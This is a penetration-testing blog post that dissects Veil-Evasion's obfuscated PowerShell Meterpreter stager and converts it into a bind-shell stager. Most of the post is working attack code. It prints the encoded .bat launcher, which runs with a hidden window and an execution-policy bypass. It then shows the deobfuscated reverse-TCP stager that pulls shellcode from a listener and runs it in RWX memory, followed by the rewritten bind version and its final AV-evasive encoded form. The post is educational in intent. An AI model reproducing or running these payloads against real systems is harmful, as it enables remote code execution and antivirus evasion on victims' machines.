Dissecting Veil-Evasion Powershell Payloads and Converting to a Bind Shell

There are many popular and powerful payloads available to us as penetration testers, and oftentimes we use them without fully understanding how they work. This post will deconstruct Veil-Evasion's Powershell Metasploit stagers and walk-through converting the reverse TCP stager to a bind TCP stager. By reading this post you will gain insight into Metasploit payload staging, advanced PowerShell scripting, and the knowledge necessary to build your own PowerShell stagers.

About Veil-Evasion

Veil-Evasion is a great tool for creating payloads that avoid AV. Veil's PowerShell stagers are some of the most reliable and easy to use payloads to use in Windows environments. Tevora commonly uses Veil payloads during pentests, but one limitation is that currently Veil only offers reverse shells for its Powershell payloads.

Why Make a Bind Shell

While reverse shells are usually the best, or only, method of establishing a shell on the target, bind shells can come in handy in some situations. Oftentimes we run into environments on internal pentests where we can access a target network subnet inbound, but it has no outbound access to us. I decided to pick apart the Veil payload and take a look at how it works, and to create a version that could be used as a bind shell.

Understanding Veil's Powershell Stagers

The announcement of Veil powershell payload gives a high level overview of how they work and is worth reading: https://www.veil-framework.com/powershell-payloads/.

Essentially, the payloads use the pattern in Matthew Graeber’s blog: http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html to insert shellcode into memory and execute it. The Veil stagers leverage VirtualAlloc and other Win32 functions to allocate memory and invoke shellcode. Note that Matthew Graeber has since created a greatly improved general purpose script to run shellcode in powershell with the Invoke-Shellcode module of the powersploit framework: https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1.

Let's break down the Veil-Payload and see how exactly they are getting the shellcode from metasploit handlers, and using Graebers technique to access the necessary Win32 functions and inject the shellcode into memory to start execution.

Create a Veil Payload to analyze

First, we'll generate a powershell reverse_tcp payload in Veil. You must have Veil installed first. If running Kali linux, run apt-get install veil-evasion

Start veil by running veil-evasion

Select the powershell/meterpreter/rev_tcp payload

[menu>>]: use powershell/meterpreter/rev_tcp

Set lhost to anything. Since we are converting to a bind it won't matter, but if you want to mess around with the reverse_tcp script, set it your linux system.

[powershell/meterpreter/rev_tcp>>]: set lhost 192.168.1.1
[i] LHOST => 192.168.1.1`

We are ready to create the payload, type run.

This will print out the unobfuscated payload (you may need to scroll up) and then prompt you to name the output file.

We'll break this script down later :)

Deobfuscating Veil Payloads

Although this script is what we want, its worthwhile to review what a Veil payload looks like after it has been obfuscated both so we can identify and de-obfuscate discovered malicious powershell payloads. And of course so we can obfuscate our own payloads :) .

Name your output file to something

[>] Please enter the base name for output files (default is 'payload'): blog-rev-shell`

    Language: powershell
    Payload: powershell/meterpreter/rev_tcp
    Required Options: LHOST=192.168.1.1 LPORT=4444
    Payload File: /var/lib/veil-evasion/output/source/blog-rev-shell.bat
    Handler File: /var/lib/veil-evasion/output/handlers/blog-rev-shell_handler.rc

Veil has created both the payload as a .bat file and a handler script for metasploit. Exit veil and take a look at the reverse shell that was just created

vim /var/lib/veil-evasion/output/source/blog-rev-shell.bat

Generated BAT script with encoded stager

@echo off
if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Exec Bypass -         Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbbtswDH33VxCGgdqIbTiXFl2KAr0hW4EtK5piewjy4Chso1WWDIlO4nb599Gts61FNwzzy5El8pwjkgoEHMOJ700vlLosSmMp9O/RalT9XrpQyo9mUFZzJQU4yokBN8TncKnpiix8kZaqXJ0qZUTY7q1jqKQm2LRYt/gQHf23zrnFnPBmybDY6VQt7yqGX8rt6jftdqdR9088svVj4PjSY1wnn+ffUBBMakdYpGOkdGLEPZJrEcLpG2eni4VF50Z5IVU9Gw5ZAC0HrI29j+GtjGe8qUvk8AnxJYq3A6+sISOMakNvRBl5gUvPjdZsNNzrvuul3YPDtJt292IY8BfBdzAVJbpS6giCkm82PbU2b4w9F+1Sc0W1wNCf14Q+p0UcuOFAZr5GgXKFYVC+Inrg88wL6n/gm55JYocrtFyHxrXhivR7zBlnUWe/Uaun2awh3JyNvPVSKoSQFRJFf0+O4LFx0nlptY6Dh85+3I3/XOqRyu8cs42Nxgi23q2xrCiPu+xFsi7CoFl1OqzA5gLZuNvRvXL0HumML+rCKQ/UjI18yPVCYcRZSXe29QLiXJ6JpGkaJAUWc7QXeCu1JGk0BAKScV4g+F+l7vd8SDT/uTIXCE87o0qLJtJBUubO0dJWTYOOAxoOX7yvLA7q9CPqO1rG2aafZRnDIIu8nfPrSpMsMH2aSFNO0K6kQJd+yq1b5qppoSnrpoKQcd+eX8YsDDbpruxRFMNPEZ492nW9fXqsGAebuIHs5cRMKLeUTBRiCckEhdELODwYZNlW5CSWj9sf\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else (%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbbtswDH33VxCGgdqIbTiXFl2KAr0hW4EtK5piewjy4Chso1WWDIlO4nb599Gts61FNwzzy5El8pwjkgoEHMOJ700vlLosSmMp9O/RalT9XrpQyo9mUFZzJQU4yokBN8TncKnpiix8kZaqXJ0qZUTY7q1jqKQm2LRYt/gQHf23zrnFnPBmybDY6VQt7yqGX8rt6jftdqdR9088svVj4PjSY1wnn+ffUBBMakdYpGOkdGLEPZJrEcLpG2eni4VF50Z5IVU9Gw5ZAC0HrI29j+GtjGe8qUvk8AnxJYq3A6+sISOMakNvRBl5gUvPjdZsNNzrvuul3YPDtJt292IY8BfBdzAVJbpS6giCkm82PbU2b4w9F+1Sc0W1wNCf14Q+p0UcuOFAZr5GgXKFYVC+Inrg88wL6n/gm55JYocrtFyHxrXhivR7zBlnUWe/Uaun2awh3JyNvPVSKoSQFRJFf0+O4LFx0nlptY6Dh85+3I3/XOqRyu8cs42Nxgi23q2xrCiPu+xFsi7CoFl1OqzA5gLZuNvRvXL0HumML+rCKQ/UjI18yPVCYcRZSXe29QLiXJ6JpGkaJAUWc7QXeCu1JGk0BAKScV4g+F+l7vd8SDT/uTIXCE87o0qLJtJBUubO0dJWTYOOAxoOX7yvLA7q9CPqO1rG2aafZRnDIIu8nfPrSpMsMH2aSFNO0K6kQJd+yq1b5qppoSnrpoKQcd+eX8YsDDbpruxRFMNPEZ492nW9fXqsGAebuIHs5cRMKLeUTBRiCckEhdELODwYZNlW5CSWj9sf\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")  

The bat file detects whether a system is 64 bit or 32 bit and calls the 32 bit powershell.exe on the system. It is important to note that the stager is all 32 bit, the bat script simply calles the 32 bit powershell.exe in syswow64. This is necessary because calling powershell.exe by itself on a 64 bit system would run the script under 64 bit powershell, causing it to fail. It is also important to note that the obfuscated powershell is the same for 64 bit or 32 bit systems.

This obfuscation/compression is a slightly tweaked version of the Out-EncodedCommand module from powersploit. See: https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-EncodedCommand.ps1. Perhaps it was based on an older version of this module? Either way, we can use this module to encode our modified version later.

We already have the decoded version of the script from before, but we can deobfuscate this version easily. Let's break it down, starting with the flags set on powershell.exe

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command

This line runs the powershell.exe executable and instructs it to run a script. The script is inputted as a string after the the command flag. The other flags do the following:

The string in quotes after the command is the actual powershell being run. Let's go ahead and remove the Base64 string to make it easier to see what is going on. Note the escape characacters on the quotes inside the command. This is only necessary because double quotes were used outside, let's remove the outer double quotes and escape characters. Let's also break the lines at ( { or [ characters. See: http://windowsitpro.com/blog/breaking-lines-powershell-lose-backtick.

Prettyfied Script

Invoke-Expression $(  
    New-Object IO.StreamReader (
        $(
            New-Object IO.Compression.DeflateStream (
                $(New-Object IO.MemoryStream (,
                    $([Convert]::FromBase64String("Base64"))
                    )
                ), [IO.Compression.CompressionMode]::Decompress)
          ), [Text.Encoding]::ASCII)
    ).ReadToEnd();

What this is doing is using the Invoke-Expression cmdlet, which is used to run a string as a PowerShell script, to run the result of the decompressed Base64 encoded deflate string. It's helpful to work backwards to understand; let's start from the middle:

  • Step 0: $([Convert]::FromBase64String("Base64goeshere"))
    • If you're not familiar with syntax for calling .net static methods from powershell this may seem strange, but luckily the convention is relatively straightforward. See:https://technet.microsoft.com/en-us/library/dd347632.aspx.
    • What this is doing is using the bracket syntax to reference the .net class Convert (really System.Convert, but powershell automatically prepends 'System'). When you see a .NET Class being referenced it is always useful to look up the documentation for that class on msdn. System.Convert class definition: https://msdn.microsoft.com/en-us/library/system.convert(v=vs.110).aspx
    • Then the '::', referred to as the 'quad dot' operator, is the static member accessor, allowing us to reference static methods or properties from that class. See: http://stackoverflow.com/questions/17759447/why-powershell-use-double-colon-to-call-static-methods-of-a-net-class. This will have to be a static method since we don't have an instance of this class, just a reference to the type. This calls the method "FromBase64String". Refer to this methods class definition. FromBase64String class definition: https://msdn.microsoft.com/en-us/library/system.convert.fromBase64string(v=vs.110).aspx. We can see it's return type is Byte[], a byte array. The method also takes an input of String, the Base64 string to convert.
    • This is all wrapped in the "sub expression" operator $() (See expression operators: http://ss64.com/ps/syntax-operators.html), but really this isn't necessary here, nor are the other sub expressions in this script. You could delete the $ and it would still work. You use sub expressions for performing multiple operations in one line and passing the final result, or for string expansion; neither of these are happening here. In this case you could also remove the parenthesis altogether, since implicit grouping works for this command. Maybe this is a powershell style guideline thing? Let me know in the comments if you know the answer.
    • OK, that was a lot, but we covered some important basics about powershell syntax, let's move on to one level up
  • Step 1: New-Object IO.MemoryStream (,<step 0>)
    • New-Object, as the name suggests, creates a new instance of a class. This line creates a new MemoryStream object. See: https://msdn.microsoft.com/en-us/library/system.io.memorystream(v=vs.110).aspx
    • When creating a new object, you are calling that objects constructor, in this case the MemoryStream(Byte[]) instructor. This is passing the Byte[] from the previous command to the MemoryStream constructor.
    • The preceding comma is necessary to wrap the Byte array in an Object array. The constructor expects an array of values, and would take each Byte in the Byte array as a parameter. The comma ensures we are passing Object[]{Byte[]} to the constructor. See: http://www.justaprogrammer.net/2011/03/30/an-array-of-one-item-in-powershell.
    • This should return to us a memory stream object full of the bytes from the decoded Base64.
  • Step 2: New-Object IO.Compression.DeflateStream ($(<step_1>),[IO.Compression.CompressionMode]::Decompress)
    • This step creates a new IO.Compression.DeflateStream class with the memory stream from step 1 and sets the compression mode to Decompress.
    • This deflate stream object will be a stream of decompressed bytes from the MemoryStream.
  • Step 3: Invoke-Expression $(New-Object IO.StreamReader ($(<step_2>), [Text.Encoding]::ASCII)).ReadToEnd();
    • A new Stream reader object is created from the DeflateStream, and set to ASCII encoding.
    • This stream has the ReadToEnd method called on it, which reads the entire stream and returns the ASCII string contained in it; this String is the deobfuscated script.
    • Invoke-Expression is then called on this string to run the script.

We can simply remove the invoke expression and run the script to see the results of the deobfuscated script without running the payload. Simply run the output script in a powershell instance without Invoke-Expression, remember to remove the escape characters from the quotes.

Example: Copy and paste this into a powershell commandline and run

$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("nVPbbtswDH33VxCGgdqIbTiXFl2KAr0hW4EtK5piewjy4Chso1WWDIlO4nb599Gts61FNwzzy5El8pwjkgoEHMOJ700vlLosSmMp9O/RalT9XrpQyo9mUFZzJQU4yokBN8TncKnpiix8kZaqXJ0qZUTY7q1jqKQm2LRYt/gQHf23zrnFnPBmybDY6VQt7yqGX8rt6jftdqdR9088svVj4PjSY1wnn+ffUBBMakdYpGOkdGLEPZJrEcLpG2eni4VF50Z5IVU9Gw5ZAC0HrI29j+GtjGe8qUvk8AnxJYq3A6+sISOMakNvRBl5gUvPjdZsNNzrvuul3YPDtJt292IY8BfBdzAVJbpS6giCkm82PbU2b4w9F+1Sc0W1wNCf14Q+p0UcuOFAZr5GgXKFYVC+Inrg88wL6n/gm55JYocrtFyHxrXhivR7zBlnUWe/Uaun2awh3JyNvPVSKoSQFRJFf0+O4LFx0nlptY6Dh85+3I3/XOqRyu8cs42Nxgi23q2xrCiPu+xFsi7CoFl1OqzA5gLZuNvRvXL0HumML+rCKQ/UjI18yPVCYcRZSXe29QLiXJ6JpGkaJAUWc7QXeCu1JGk0BAKScV4g+F+l7vd8SDT/uTIXCE87o0qLJtJBUubO0dJWTYOOAxoOX7yvLA7q9CPqO1rG2aafZRnDIIu8nfPrSpMsMH2aSFNO0K6kQJd+yq1b5qppoSnrpoKQcd+eX8YsDDbpruxRFMNPEZ492nW9fXqsGAebuIHs5cRMKLeUTBRiCckEhdELODwYZNlW5CSWj9sf")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();

Dissecting the Reverse Stager

Now that we understand how Veil packs its payloads, and have a bit more knowledge on powershell syntax, let's dive into the script itself to examine how a reverse meterpreter stager has been made with pure powershell and explore converting this reverse stager into a bind stager. We'll rename some of the variables, which have been reduced to single letters, and adjust spacing to make this easier to follow.

De-obfuscated Script With Human Friendly Variable Names

$win32WrapperString = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{  
$socket = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$socket.Connect('192.168.1.1', 4444) | out-null
$mtrsizearray = [Array]::CreateInstance("byte", 4)
$socket.Receive($mtrsizearray) | out-null
$receiveOffset = 0
$mtrpayloadarray = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($mtrsizearray,0)+5)
$mtrpayloadarray[0] = 0xBF
while ($receiveOffset -lt [BitConverter]::ToInt32($mtrsizearray,0)) {  
$receiveOffset += $socket.Receive($mtrpayloadarray,$receiveOffset+5,1,[System.Net.Sockets.SocketFlags]::None)
}
for ($i=1; $i -le 4; $i++) {  
$mtrpayloadarray[$i] = [System.BitConverter]::GetBytes([int]$socket.Handle)[$i-1]
}
$Win32Wrapper = Add-Type -memberDefinition $win32WrapperString -Name "Win32" -namespace Win32Functions -passthru
$pointer=$Win32Wrapper::VirtualAlloc(0,$mtrpayloadarray.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($mtrpayloadarray, 0, [IntPtr]($pointer.ToInt32()), $mtrpayloadarray.Length)
$Win32Wrapper::CreateThread(0,0,$pointer,0,0,0) | out-null; Start-Sleep -Second 86420}catch{}


Create Win32 Wrapper Class String

$win32WrapperString = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
"@

The @" and "@ symbols are used to easily create multiline strings (called a "Here-String" in powershell https://technet.microsoft.com/en-us/library/ee692792.aspx). This is used to define a String containing C Sharp code.

In the code, members of a C Sharp class are being defined and assigned to the variable for use later. The C Sharp class members are two methods, references to the Win32 VirtualAlloc and CreateThread methods created by using the Platform Invoke/DLLImport. See: https://msdn.microsoft.com/en-us/library/aa288468(v=vs.71).aspx for details on Platform Invoke and .NET to Win32 interop.

These code is just a wrapper for the Win32 methods. Defining this string is the first step of gaining powershell access to these Win32 methods, which will be achieved by passing this string to the Add-Type cmdlet later in this script.

The rest of the script is wrapped in a Try/Catch block, to ensure graceful failure

Initialize Socket

$socket = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)

This creates a new socket object. Sockets are a low level network programming API. Remember to refer to MSDN for documentation when you see a class you are unfamiliar with: https://msdn.microsoft.com/en-us/library/windows/desktop/ms740506(v=vs.85).aspx

Connect Socket to Listener

$socket.Connect('192.168.1.1', 4444) | out-null

This connects to the listener we defined when generating the payload. This only establishes the TCP connection; no data is sent. Note that although the values are hardcoded here, we can replace them with a variable, allowing us to define them outside the obfuscated script block. We'll explore this later to create a generic payload whose details can be modified with a text editor rather than re-generated with Veil.

Receive Size of Payload and store in array

$socket.Receive($mtrsizearray) | out-null

This receives a stream of data from our listener https://msdn.microsoft.com/en-us/library/8s4y8aff(v=vs.110).aspx. Metasploit initially will just send the length of the payload. We store this size information as a byte array in the $mtrsizearray variable.

Define Variable to track received data from socket

$receiveOffset = 0

This variable will be used to track how much of the payload we have received, and to receive incrementally more information. Because we are using sockets, we need to track the amount of data we are receiving manually

Define Byte Array to store payload

$mtrpayloadarray = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($mtrsizearray,0)+5)

This initializes a Byte array to store our payload. We initialize the array to be of the size indicated by metasploit's first response to us, +5 bytes. Notice that we have to convert the $mtrsizearray Byte array to an Int32.

The first 5 bytes of the array will contain shellcode pushing our socket descriptor to the EDI register. This is necessary to pass the socket information to the stage 2 payload using metasploit's "sockedi" calling convention. See: https://community.rapid7.com/thread/1538 and https://gist.github.com/kernelsmith/3702565.

Insert MOV EDI OpCode

$mtrpayloadarray[0] = 0xBF

This sets the first byte of the array to "mov edi", bootstrapping the sockedi calling convention

Recieve Data from Metasploit Handler

while ($receiveOffset -lt [BitConverter]::ToInt32($mtrsizearray,0)) {  
$receiveOffset += $socket.Receive($mtrpayloadarray,$receiveOffset+5,1,[System.Net.Sockets.SocketFlags]::None)
}

This code receives one Byte at a time from the socket until it has reached the length of the payload ($mtrsizearray). It reads this into the $mtrpayloadarray at a 5 byte offset. Remember we need the first 5 bytes to move our Socket handler to EDI. This code is inefficient, however, because it only reads in one byte per loop. We can optimize this to greatly increase the speed of the payload

$payloadSize = [BitConverter]::ToInt32($mtrsizearray,0)
while ($receiveOffset -lt $payloadSize) {  
$receiveOffset += $socket.Receive($mtrpayloadarray,$receiveOffset+5,1,[System.Net.Sockets.SocketFlags]::None)
}

This will read all the bytes in the buffer each loop, which results in a 3 fold increase from starting the script to getting a meterpreter shell in my tests (9 seconds -> 3 seconds)

Copy the Socket Descriptor to Shellcode Array

for ($i=1; $i -le 4; $i++) {  
$mtrpayloadarray[$i] = [System.BitConverter]::GetBytes([int]$socket.Handle)[$i-1]
}

This code reads in the socket handle, which is a pointer to the socket file descriptor, one Byte at a time to positions 1-4 in the $mtrpayloadarray. The mtr payload array will now look like:

$mtrpayloadarray[0]: mov edi opcode
$mtrpayloadarray[1-4]: socket handler address
$mtrpayloadarray[4-...]: Metasploit payload

Create Win32 Wrapper Type

$Win32Wrapper = Add-Type -memberDefinition $win32WrapperString -Name "Win32" -namespace Win32Functions -passthru

This code uses the Add-Type cmdlet to add the Win32Wrapper class we defined at the top of the script to our PowerShell session. The Add-Type cmdlet is used to add .NET Framework types (classes) to PowerShell. See the Add-Type documentation, specifically Example 5: https://technet.microsoft.com/en-us/library/hh849914.aspx

Let's break down what the inputs to this cmdlet are doing:

  • -memberDefinition $win32WrapperString
    • "Specifies new properties or methods for the class. Add-Type generates the template code that is required to support the properties or methods". - TechNet
    • This is similar to the "TypeDefinition", but does not require a full class definition, just definition of class members. In this case we are just passing the method definitions for VirtualAlloc and CreateThread.
  • -Name "Win32":
    • "Specifies the name of the class to create. This parameter is required when generating a type from a member definition." -TechNet
    • Since we are passing just member definitions, not a full class, we need to specify the name of the class that Add-Type will be creating from the member definitions
  • -Namespace "Win32Functions":
  • -passthru
    • "Returns a System.Runtime object that represents the types that were added. By default, [The Add-Type] cmdlet does not generate any output". -TechNet
    • This parameter causes the Add-Type cmdlet to return an object of the type we just created. This will be stored in the $Win32Wrapper variable

Allocate Memory for Shellcode

$pointer=$Win32Wrapper::VirtualAlloc(0,$mtrpayloadarray.Length,0x3000,0x40)

This line uses the $Win32Wrapper class object we just created to call the Win32 VirtualAlloc function. See:https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx. VirtualAlloc is used to allocate executable memory for the shellcode we received and stored in the $mtrPayloadArray Byte[] variable earlier.
VirtualAlloc is passed 4 arguments which determine how much memory is being allocated and of what type:

  • Position 0 | name: lpAddress, value: 0
    • This is the starting address of the region of memory to allocate.
    • "If this parameter is NULL, the system determines where to allocate the region". -MSDN
    • Since we pass "0", we are letting Windows choose the memory region for us. (I think, could be wrong here but seems like 0 is being treated equivalent to "NULL" when marshalled to the LPVOID type by Platform Invoke services. Let me know in the comments if I am off here).
  • Position 1 | name: dwSize, value: $mtrpayloadarray.Length
    • The size of the region of memory to allocate
    • We set the size to allocate to the length of our Byte array, since that is what we will be marshalling into this memory space
  • Position 2 | name: flAllocationType, value: 0x3000
    • This parameter flags the type of memory allocation. It works similary to chmod in the way that flags add up to a final number.
    • Since our number is 0x3000 it means we are using flags 0x1000 (MEMCOMMIT) and 0x2000 (MEMRESERVE) to both reserve and commit memory.
  • Position 3 | name: flProtect, value: 0x40
    • Sets the permissions on how this memory space can be used
    • Flag 0x40 stands for PAGEEXECUTEREADWRITE
    • This will let us write the shellcode and execute it

This function will return a pointer to the memory space just created. We store this in the $pointer variable

Copy $mtrpayloadarray to Unmanaged Memory

We now need to copy the shellcode in the managed Byte array $mtrpayloadarray to the unmanaged memory we just allocated. Managed memory is memory managed by the .NET framework and it's garbage collector. Unmanaged memory is managed manually. See: http://stackoverflow.com/questions/1345377/unmanaged-memory-and-managed-memory.

[System.Runtime.InteropServices.Marshal]::Copy($mtrpayloadarray, 0, [IntPtr]($pointer.ToInt32()), $mtrpayloadarray.Length)

This line of code uses the Marshal class to copy the shellcode in the $mtrpayloadarray to the unmanaged memory we allocated with VirtualAlloc. See the System.Runtime.InteropServices.Marshal.Copy method definition: https://msdn.microsoft.com/en-us/library/ms146625(v=vs.110).aspx

This time we will leave it to the reader to review the method definition to understand the parameters being passed.

Execute Shellcode

$Win32Wrapper::CreateThread(0,0,$pointer,0,0,0) | out-null

At last, the moment we have all been waiting for. Shellcode Execution!

This line uses the CreateThread method in our Win32Wrapper class to spawn a new thread on the area in memory which now contains our shellcode. Remember our shellcode will move the socket handler to the edi register and begin execution of the payload provided by the metasploit listener.

As always, review the documentation to understand what a method or function does and what it's parameters mean. See the CreateThread function documentation: https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx

Converting to a Bind Shell

Hopefully now you have a greater understanding of how Veil's PowerShell stagers work. We can put that understanding to use to add functionality to our stager. Let's walk through how we can convert this to a Bind shell.

Creating a TCP Listener

Firstly, let's look at an example of other PowerShell bind shells to get an idea of how we can setup a TCP Listener. A quick google search for PowerShell Bind Shell yields a post from Nikhil "SamratAshok" Mittal's excellent blog: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html.
P.S. be sure to check out Mittal's great projects including the PowerShell pentesting framework Nishang

Mattil's reverse shell will open a bind or reverse PowerShell session depending on it's config flags. It is important to note this shell cannot be used to open a meterpreter shell using Metasploit directly. No shellcode is being injected and ran in memory like the Veil payload. Luckily we can adapt Mattil's technique to open a TCP listener to work with Veil's stager.

Mattil leverages the System.Net.Sockets.TCPListener class (See: https://msdn.microsoft.com/en-us/library/system.net.sockets.tcplistener(v=vs.110).aspx ) to create a listener. The relevant code is below

    #Bind to the provided port if Bind switch is used.
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 

This code creates a TCP listener object on the specified Port. Try the constructor out yourself in powershell.

PS C:\Users\kdick> [System.Net.Sockets.TcpListener]443

Server                    LocalEndpoint ExclusiveAddressUse  
------                    ------------- -------------------
System.Net.Sockets.Socket 0.0.0.0:443                 False  

Note that [System.Net.Sockets.TcpListener]443 has the same affect as New-Object System.Net.Sockets.TcpListener(443).

PS C:\Users\kdick> New-Object System.Net.Sockets.TcpListener(443)

Server                    LocalEndpoint ExclusiveAddressUse  
------                    ------------- -------------------
System.Net.Sockets.Socket 0.0.0.0:443                 False  

I wasn't familiar with the former syntax before stumbling on Mattil's code. If anyone has a good link explaining the former bracket syntax to call constructors, let me know!

$listener.start() then starts the listener.

$client=$listener.AcceptTCPClient() Uses AcceptTCPClient (See: https://msdn.microsoft.com/en-us/library/system.net.sockets.tcplistener.accepttcpclient(v=vs.110).aspx) to block the script until a client connects to the listener. When the client connects, AcceptTCPClient() returns a System.Net.Scokets.TcpClient object.

If we review the documentation for the TcpClient Class (See: https://msdn.microsoft.com/en-us/library/system.net.sockets.tcpclient(v=vs.110).aspx) we can see the "Client" property which "Gets or sets the underlying Socket". Because the Veil script uses a Socket object in its code, we can simply replace the existing Socket connection code with Mattil's listener method, grab the Socket with the .Client property, and set the $socket variable in the Veil script to that Socket object.

Using TCP Listener in the Veil Stager

Replace

$socket = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$socket.Connect('192.168.1.1', 4444) | out-null

With

$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()    
$client = $listener.AcceptTcpClient()
$socket = $client.Client

Resulting in the new bind script

$win32WrapperString = @"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"@
try{  
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()    
$client = $listener.AcceptTcpClient()
$socket = $client.Client
$mtrsizearray = [Array]::CreateInstance("byte", 4)
$socket.Receive($mtrsizearray) | out-null
$receiveOffset = 0
$payloadSize = [BitConverter]::ToInt32($mtrsizearray,0)
$mtrpayloadarray = [Array]::CreateInstance("byte", $payloadSize+5)
$mtrpayloadarray[0] = 0xBF
while ($receiveOffset -lt $payloadSize) {  
$receiveOffset += $socket.Receive($mtrpayloadarray,$receiveOffset+5,1,[System.Net.Sockets.SocketFlags]::None)
}
for ($i=1; $i -le 4; $i++) {  
$mtrpayloadarray[$i] = [System.BitConverter]::GetBytes([int]$socket.Handle)[$i-1]
}
$Win32Wrapper = Add-Type -memberDefinition $win32WrapperString -Name "Win32" -namespace Win32Functions -passthru
$pointer=$Win32Wrapper::VirtualAlloc(0,$mtrpayloadarray.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($mtrpayloadarray, 0, [IntPtr]($pointer.ToInt32()), $mtrpayloadarray.Length)
$Win32Wrapper::CreateThread(0,0,$pointer,0,0,0) | out-null; Start-Sleep -Second 86420}catch{}

This new code will now open a bind shell on $Port. Note that we do not define port in the script. This will allow us to encode this script, and specify the port outside of the encoding, allowing it to be quickly changed with a text editor without re-encoding the script.

Encoding the Payload and Setting a Port

Now that we have our base bind script, let's weaponize it by encoding it, wrapping it in a .bat script that calls the appropriate version of powershell, and supply a port to bind on.

These next steps will need to be performed on a Windows system that has the powersploit framework installed. See: https://github.com/PowerShellMafia/PowerSploit. We will be using the Out-EncodedCommand module to encode our script.

Save the above powershell script as bind.ps1

This Out-Encoded module will default to encoding our script in an additional layer of Base64. We don't want this because it will prevent us from setting the $Port variable dynamically. Open Out-EncodedCommand.ps1 in a text editor and replace $CmdMaxLength = 8190 with $CmdMaxLength = 4 (or another small number).

Now open a PowerShell console. Run Import-Module PowerSploit. If you get an Execution Policy error run Set-ExecutionPolicy Bypass -Scope Process.

Now use the Out-EncodedCommand module to encode our script

PS C:\Users\kdick> Out-EncodedCommand -Path "<path_to_your_bind.ps1>"  
powershell  -C "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('nVTBbptAEL1b8j+MkA8gAyK2U1WOLMVJldZSmkbBag4Wh80yjldZL2hZHJ  
M0X9ZDP6m/0AGDgl0fqnKZZXbmvTfDDL9//uo9CzUc3GuWpqhDo4V6hAmcW93O4pOUs3WaaGNbT6gVyuHAj6W0nAjS/EEKDplhhgxuDd3DTJlbo+G70CZnciplwu3a9+xCLpSBbW2L2r44Z/9PdKmRGZyvyMQNUV4Db1x4p65PLfLaU9Fb592O0cVrt9OTI  
jOoUFMHFmFB57V/g8YPE/6EJvPnPL2uI6LeLeltpfgkkQpwgB5ycymQqCbwHjDlHFNDGJfVne1QWFYhl2G7BH93RzdrozPxgkxrVpRypuUhGo93Rc8U0SmOtvVQGLRcGL2j+XfIUWzQ3sNw4AckufFULiWF6l3Mt+Uyq/gD8qWskAmLQ0opGS+EuUzUBjX1  
nIjnCTVtONhHdQNnp7XO/Ve5ba7+6RGMRRCVqrYXV93O80pIBPtAsyfNHowDr1Xn96P61NojbWlTufsp/VP3xD329Xf2SrLHjAq7SRSS7rduZ5loEicmJ2fQEyQLYVSe+v1G0WFpPRG1BuygzZ/RXFCPMntBoxo12r8wFUt0KNU7iSrW3n1rbwluGsfevEg  
RvDWuH1B/wqVQwohEwbEV927YGsGqQCzwFL1lKeMIlecqV7xMzcBLWZaZlc7L+UhIEurJHvV4vLfvgXtYrn+N6tGs3GA7DIKAzKicmab6u1wZsUZ/ViInaYh6Izhm/lemsxWT5QQlafH3N4PAhcVuiyO7UeY3M+o4NGLHdTgHrWtGtP6NkEC3gXPLl6C9OG  
cQllvuhRIxBS9EnqgYPn4YDYI3zgxfvb79AQ=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"  

